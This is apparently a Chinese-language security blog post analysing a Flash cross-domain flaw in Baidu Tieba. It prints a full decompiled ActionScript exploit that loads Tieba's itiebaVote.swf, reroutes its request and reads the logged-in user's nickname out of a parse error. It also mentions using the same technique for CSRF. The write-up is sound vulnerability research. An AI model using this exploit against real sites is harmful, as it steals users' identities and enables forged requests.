flash也是可以和js一样动态的请求和加载,类似这样 a.com上的a.swf

var myLoader:Loader = new Loader();                     
var url:URLRequest = new URLRequest("http://b.com/b.swf"); 
myLoader.load(url);
addChild(myLoader);  

但是默认情况下是swf是不能被跨域引用的,所以这个调用不一定成功,只有在b.swf设置了System.security.allowDomain("a.com")或者System.security.allowDomain("*")的情况下才可以。

这样的话,b.swf中的有一些方法就可以在a.swf中调用了,而且发送的请求会显示来自b.swf,造成了跨域请求,大部分的浏览器是携带cookies的(貌似safari不发送)。

http://weibo.com/2313289447/CmZQrqa4R?type=comment 里面有一个跨域获取百度贴吧用户名的demo,就是利用了百度贴吧里面一个swf的这个漏洞。swf在这也备份了一个

首先看一下exp的反编译后的代码。

package {
    import flash.utils.*;
    import flash.display.*;
    import flash.system.*;
    import flash.net.*;
    import flash.events.*;
    import flash.external.*;

    public class exp extends Sprite {

        private static const PATH:String = "baidu.vote.DataManager";
        private static const URL:String = "http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf";

        private var clsExp;
        private var clsRes;
        private var nick:String;

        public function exp(){
            var ld:* = null;
            var tid:* = 0;
            super();
            Security.allowDomain("*");
            ld = new Loader();
            ld.load(new URLRequest(URL));
            addChild(ld);
            tid = setInterval(function ():void{
                try {
                    clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
                    clsRes = ld.contentLoaderInfo.applicationDomain.getDefinition("baidu.vote.enumerate.Constants");
                } catch(e:Error) {
                    return;
                };
                clearInterval(tid);
                ready();
            }, 100);
        }
        private function load(url:String):void{
            var obj:* = this.clsExp.getInstance();
            obj.requestPageData({
                r:1,
                voteId:1,
                tn:1
            });
            this.clsRes.URL_VOTE_DETAIL = (url + "#");
            obj.requestVoteDetail();
        }
        private function ready():void{
            loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function (e:UncaughtErrorEvent):void{
                complete(e.error.text);
            });
            this.load("http://tieba.baidu.com/");
        }
        private function complete(data:String):void{
            var arr:Array;
            arr = data.match(/"name": "([^"]+)/);
            if (arr){
                this.nick = arr[1];
            };
            ExternalInterface.call("bdcallback", this.nick);
        }

    }
}//package

加载了http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf这个swf,然后调用了里面的requestVoteDetail方法,我们再反编译一下百度贴吧的swf,看看这个方法是干什么的。

private function initialize():void{
            System.useCodePage = true;
            Security.allowDomain("*");
            stage.scaleMode = "noScale";
            ......

请求网络的代码

public function requestVoteDetail():void{
            var _local1:String = Constants.URL_VOTE_DETAIL;
            _local1 = (_local1 + pageData.voteId);
            _local1 = (_local1 + ("?alt=json&stamp=" + Math.random()));
            var _local2:URLRequest = new URLRequest(_local1);
            var _local3:URLLoader = new URLLoader();
            _local3.addEventListener(Event.COMPLETE, onVoteDetailComplete);
            _local3.addEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
            _local3.load(_local2);
        }

处理访问数据的方法

private function onVoteDetailComplete(_arg1:Event):void{
            var _local2:URLLoader = (_arg1.currentTarget as URLLoader);
            _local2.removeEventListener(Event.COMPLETE, onVoteDetailComplete);
            _local2.removeEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
            var _local3:String = (_local2.data as String);
            _voteDetail = VoteDetail.fromJsonString(_local3);
            if (((_voteDetail) && ((_voteDetail.errno == 0)))){
                dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_OK));
            } else {
                dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_ERROR));
            };
        }

然后是json解码

public static function fromJsonString(_arg1:String, _arg2:Boolean=false):VoteDetail{
            var _local3:Object = JSON.decode(_arg1);
            return (fromObject(_local3, _arg2));
        }

但是这个地方请求获取的是html,不是json,所以处理就会抛出异常,自己catch住就好了,异常的信息里面是包含html的。

这样就造成了一个跨域读取的漏洞,不仅仅是获取用户名,更可以csrf啊。

ps: 在wooyun上搜flash漏洞的时候,我才发现这个漏洞其实已经被报告给百度了,竟然还没修复,23333333

参考

http://www.cnblogs.com/index-html/p/swf-reflect-priv.html

http://wooyun.org/bugs/wooyun-2010-0110065

其他的flash安全相关的文章 http://drops.wooyun.org/tips/2924